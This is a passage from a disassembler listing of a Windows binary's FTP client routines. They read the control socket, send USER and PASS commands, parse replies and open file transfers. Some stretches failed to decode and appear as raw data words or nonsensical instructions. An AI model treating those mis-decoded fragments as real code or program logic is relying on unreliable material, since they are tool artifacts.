		retn
; ---------------------------------------------------------------------------


loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C810	proc near		; CODE XREF: sub_401A69j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_12		= word ptr  16h

		sub	esp, 14h
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ebx
		push	ebp
		mov	[esp+1Ch+var_C], eax
		push	esi
		push	edi
		mov	[esp+24h+var_8], eax
		push	ecx
		mov	[esp+28h+var_14], 1
		mov	[esp+28h+var_4], eax
		mov	word ptr [esp+28h+var_10], 2
		nop
		call	near ptr 77C46125h
		mov	ebp, eax
		push	3Ah
		push	ebp
		call	near ptr 77C47660h
		nop
		mov	esi, eax
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_42C884
		push	offset aTcp	; "tcp"
		push	offset aFtp	; "ftp"
		call	sub_436F96
; ---------------------------------------------------------------------------
		dd 6C75C33Bh, 44545868h, 7BE89000h, 837780A5h, 0C03304C4h
		dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------


loc_42C884:				; CODE XREF: sub_42C810+47j
		mov	[esi], bl
		mov	eax, dword_50FB14
		inc	esi
		cmp	dword ptr [eax], 1
		jle	short loc_42C8A2
		movsx	ecx, byte ptr [esi]
		push	4
		push	ecx
		nop
		call	near ptr 77C1C561h
		add	esp, 8
		jmp	short loc_42C8B2
; ---------------------------------------------------------------------------


loc_42C8A2:				; CODE XREF: sub_42C810+7Fj
		mov	eax, dword_50FA78
		movsx	edx, byte ptr [esi]
		mov	ecx, [eax]
		mov	al, [ecx+edx*2]
		and	eax, 4


loc_42C8B2:				; CODE XREF: sub_42C810+90j
		cmp	eax, ebx
		jz	short loc_42C8CD
		push	esi
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		push	eax
		call	sub_436F36
; ---------------------------------------------------------------------------
		mov	[esp+arg_12], ax
		jmp	short sub_42C8E1
; ---------------------------------------------------------------------------


loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 48681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp	; free
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44543068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
		dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h,	80A435E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 0FA2DE800h,	8390777Fh, 0C33B04C4h, 75144689h
		dd 54286824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: ___:0042D266p
					; sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3CC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		nop
		call	near ptr 77C47A90h
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3CC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx	; fprintf
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445220 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi	; sprintf
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi	; sprintf
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3CC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2


loc_42D1D2:				; CODE XREF: ___:0042D24Dj
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		call	near ptr 77C40E13h
		nop
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0:loc_42D1D2j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CD4
		push	ecx
		nop
		call	near ptr 77C3F931h
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		lodsb
		push	esp
		inc	esp
		add	[eax-7F645B18h], dl
		ja	short loc_42D1D2
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		call	near ptr 77C3F931h
		nop
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4454F4
		push	edx
		call	ebp	; sprintf
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454EC ; jumptable 0042D351 case 1
		mov	dl, byte_4454F0
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454E4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454E8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454DC ; jumptable 0042D351 case 3
		mov	al, byte_4454E0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454D4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454D8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

